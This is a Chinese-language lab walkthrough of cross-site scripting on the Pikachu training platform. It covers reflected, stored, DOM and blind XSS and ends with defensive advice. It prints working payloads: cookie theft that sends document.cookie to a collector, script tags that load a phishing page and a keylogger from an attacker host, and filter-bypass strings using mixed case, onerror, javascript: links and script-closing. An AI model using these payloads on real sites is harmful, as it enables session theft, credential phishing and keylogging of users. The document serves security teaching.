前言
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。XSS有以下几种常见类型:
- 反射性XSS;
- 存储型XSS;
- DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。XSS漏洞可以用来进行钓鱼攻击、前端j挖矿、用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。
XSS的危害比较:存储型>反射型>DOM型
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
本次实验是在pikachu平台进行演示!
反射型XSS(get)
打开pikachu平台,跟以往一样,先随便输入内容。
提交后,查看页面源代码,能够看到随便写的内容输出到了HTML的P标签里。接下来做个实验,输入正确的JS代码,看是否会原封不动的返回!
刷新页面,重新在反射型XSS页面中输入正确的JS代码,因为HTML限制了字符长度,所以在那之前要先修改一下前端代码。按F12,修改长度
然后输入正确的JS代码
<script>alert("xsscss")</script>
当提交后,可以看到弹窗弹出JS代码里的内容,说明代码成功执行
反射型XSS(post)
首先在页面中输入正确的账号密码:admin/123456
接下来的方法和get的一样,输入正确的JS代码后,有弹窗,执行成功
<script>alert("xss")</script>
实验案例-获取cookie
反射型xss(get)获取cookie
打开pikachu平台里的管理工具-XSS后台
点击后,会跳转到另外一个页面,然后输入账号密码,这里,我们可以把这个xss后台放到另外一个浏览器或者新的标签页进行!
打开cookie搜集
回到反射型xss(get)页面,和之前的操作一样,先修改前端的长度,然后输入一个获取cookie的JS代码
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
提交后,会发现当前的页面会返回到首页,然后到XSS后台刷新,看到后台已经获取了get的cookie
反射型xss(post)获取cookie
相比于get方式,post方式更加神不知鬼不觉。因为post请求不能从URL让用户向服务器提交数据,所以需要攻击者自己去搭建一个站点,将搭建好的站点发给用户,这样就能让用户帮攻击者提交post请求,达到窃取用户的cookie的目的。
在那之前要先把站点搭建好,打开pikachu里的post.html,根据自己的实际情况修改IP地址
回到pikachu平台,在页面中输入正确的账号密码
在新的浏览器或者新的标签页的URL输入伪造的post.html站点 (注:站点要输入和自己在post.html里设置的地址一样,不然就出错)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
打开xss后台刷新,就能看到已经获取了cookie
存储型XSS
存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。
打开pikachu平台,和以往一样先在页面随便输入内容
提交后,不管怎么刷新页面,写的内容都还在,说明了写的内容被后台存了下来
打开页面源代码,能看到输入的内容和反射型XSS一样,都放在了p标签里,而且也没有做任何的过滤和转义处理
回到平台,在页面输入一个JS代码进行测试
<script>alert("cssX66")</script>
提交后,不管是刷新页面还是切换页面,他都会出现弹窗,说明了存储型XSS危害更大,会造成永久型的危害!
DOM型XSS
DOM的简单介绍:通过JavaScript,可以重构整个HTML文档。你可以添加,移除、改变或重排页面上的项目。要改变页面的某个东西,JS就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)。所以,你可以把DOM理解为一个一个访问HTML的标准编程接口。
打开pikachu平台,和以往一样随便输入内容
打开页面源代码查看,可以看出用户输入的字符串内容会存放到str,然后通过DOM方法拼接到a标签里面
接下来进行测试,把源代码里面的a标签代码<a href='#'onclick="alert(xss)">'>what do you see?</a>进行修改
#'onclick="alert('xss')"
把修改的代码输入到DOM中
提交后,点击what do you see?后,会弹出弹窗,说明测试漏洞成功
DOM型XSS-x
DOM型xss-x和DOM型xss差不多,他们的不同之处在于,DOM型xss-x是从浏览器的URL来获取输入内容的,相同之处在于,都是拼接到a标签里面
测试的方法和DOM型xss一样,输入之前修改的a标签代码,然后点击下面的超链接,就会出现弹窗,测试成功
实验案例-钓鱼攻击
攻击者可以在一个有存储型XSS漏洞的网站中嵌入恶意代码,每当用户访问该网站站点时就会自动触发(前面已经说过了存储型XSS是永久的),弹出一个提示框,当用户防范意识不高,在提示框中输入信息,那么该信息就会上传到攻击者的后台。
接下来进行演示,首先要修改一下pikachu的fish.php文件里的管理后台IP地址
在新的浏览器或者新的标签页里打开xss后台里的钓鱼结果
回到pikachu平台,在存储型XSS中输入JavaScript代码
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
点击提交后,会出现一个提示框,模拟用户输入账号密码,确定
返回到XSS后台刷新页面,可以看到后台已经获取了在提示框输入的账号密码
XSS案例——获取键盘记录
在实验前,先了解一下跨域
什么是跨域
当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域
我们把不同域之间请求数据的操作,称为跨域操作
跨域-同源策略
为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定:
两个不同域之间不能使用JS进行互相操作
比如:x.com 域名下的 JS 并不能操作 y.com 域下的对象
如果想要跨域操作,则需要管理员进行特殊配置
比如通过头里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址
下面的标签跨域加载资源(资源类型时有限制的)是不受同源策略限制的
- <script src="...">,JS加载到本地执行
- <img src="..">,图片
- <link href="..">,CSS
- <iframe src="..">,任意资源
为什么要同源策略
A登陆了淘宝,攻击者向A发送一个恶意链接urlb: nttp //www盗你cookie .com ,如果没有同源策略,即: urlb上的js可以操作A的内容(如:获取cookie等),有了同源策略,就限制了这种情况。
再比如:一个恶意站点A上使用了<iframe src= "B站点登陆页面”> ,发送该恶意url到攻击对象,攻击对象登陆后如果没有同源策略,则A上的JS即可获取B站点的登陆信息。
在演示前先要修改pikachu文件夹中的rk.js,把IP地址修改为攻击者搭建的地址
rk.js 是恶意攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用,这个文件可以记录用户的键盘操作,然后异步发送给攻击者。但是这个违背了同源策略,因为我们攻击者的机器和漏洞服务器的主机是不一样的,而ajax的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的。
到pikachu文件中,把rkserver.php中的注释删掉,在这里"*"星号的意思是允许所有人来跨域请求
接下来,用JavaScript构造一个payload,输入到pikachu的存储型XSS中运行
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
提交后,在页面中随便输入内容,然后打开XSS后台的键盘记录,点击刷新,可以看到页面显示出我们在pikahcu页面中输入的内容
XSS之盲打
什么是XSS盲打
XSS盲打其实不是种XSS漏洞的类型,而是一种攻击场景
在pikachu页面中随便输入内容,提交后,通过他的提示,我们可以知道输入的内容不会在前端输出,而是提交到了后台
接下来,我们可以用过输入一段脚本代码提交到后台,后台会把代码输出,从而遭到攻击
<script>alert('xss')</script>
提交后,点击页面右上角的提示,可以看到管理员的账号密码和地址,可以输入进入管理员页面看看
http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php
一登陆进管理员界面后,就弹出一个弹窗,输出的内容就是我们在前端输入的内容
XSS之过滤
在实际开发过程中,有很多应用系统或多或少会去做对应的安全措施,但是这些安全措施有可能会因为开发人员的逻辑不够严谨,方法错误的原因,导致可以被绕过。
过滤-转换
- 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
- 大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
- 双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
- 注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。
过滤-编码
核心思路:
- 后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤
- 当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行
在使用编码时需要注意编码在输出点是否会被正常识别和翻译!
在pikachu靶场中,随便输入内容到页面中提交
<script>;;'';''''wwww.baidu
查看页面源代码,可以看到输入的JavaScript被过滤掉了,接下来我们进行试验,看后台是否真的完全过滤JavaScript
回到页面,我们可以通过大小写混合的方式输入内容,尝试看是否能绕过
<ScRiPT>alert('xxsss')</ScRiPT>
提交后,可以看到弹窗出我们输入的内容,说明确实可以绕过了
我们也可以通过img标签中的“onerror”来进行绕过
<img src=x onerror=alert('xss')>
查看后端源代码,可以看到他只是过滤JavaScript的小写并没有过滤大写和别的标签函数等等,安全措施设置的不够严谨,导致容易被绕过。
XSS之htmlspecialchars
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
- & 成为 &
- " 成为 "
- ' 成为 '
- < 成为 <
- > 成为 >
可用的引号类型
- ENT_COMPAT:默认,仅编码双引号
- ENT_QUOTES:编码双引号和单引号
- ENT_NOQUOTES:不编码任何引号
在pikachu靶场中随便输入一个字符串后提交
<>aaad11''''22""''
打开页面源代码,可以看到在a标签中我们输入的内容已经经过HTML编码了,但输入的单引号却没有被编码!
接下来我们可以试试通过单引号构造一个payload,看是否能绕过
a' onclick='alert(222)'
提交后,点击记录里面的a标签,可以看到页面显示出一个弹窗,说明成功绕过
查看后端源代码分析:可以看到它是用htmlspecialchars来做处理,但它用的是默认的方法,并没有对单引号、双引号进行处理,导致可以被绕过
XSS之href输出
在pikachu页面中随便输入一个内容然后提交,打开源代码可以看到输入的内容是直接输入到href中,而且还被转义编码了
aaa''"""<>
查看后台源代码:可以看到当我们输入的网址不是百度的网址时,它会通过htmlspecialchars函数进行处理,而ENT_QUOTES函数则会对单引号、双引号等特色字符进行转义处理
因为a标签的href属性是可以使用JavaScript协议执行JS代码的,所以我们可以构造一个没有转义字符的payload来进行绕过
javascript:alert('xss')
输入payload后提交,点击蓝色的标签,可以看到页面弹出一个弹窗,说明绕过成功
如果要对href做安全处理,一般有两个逻辑:
- 输入的时候只允许 http 或 https 开头的协议,才允许输出
- 其次再进行htmlspecialchars处理
XSS之js输出
在pikachu页面中随便输入内容后提交。打开页面源代码,可以看到我们输入的内容被放到了JavaScript的代码中
接下来我们可以通过这个JavaScript代码来构造一个合法的闭合payload,来尝试进行绕过
aaa'</script><script>alert('xss')</script>
提交payload后,可以看到页面显示出弹窗,说明绕过成功
这个漏洞产生的原因:是因为输出点是在JS中,通过用户的输入动态生成了JS代码。JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话,在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS,所以在JS的输出点应该对应该使用 对特殊字符进行转义。
XSS防范措施
总的原则:输入做过滤,输出做转义
- 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
- 转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义
以上就是关于XSS漏洞的演示!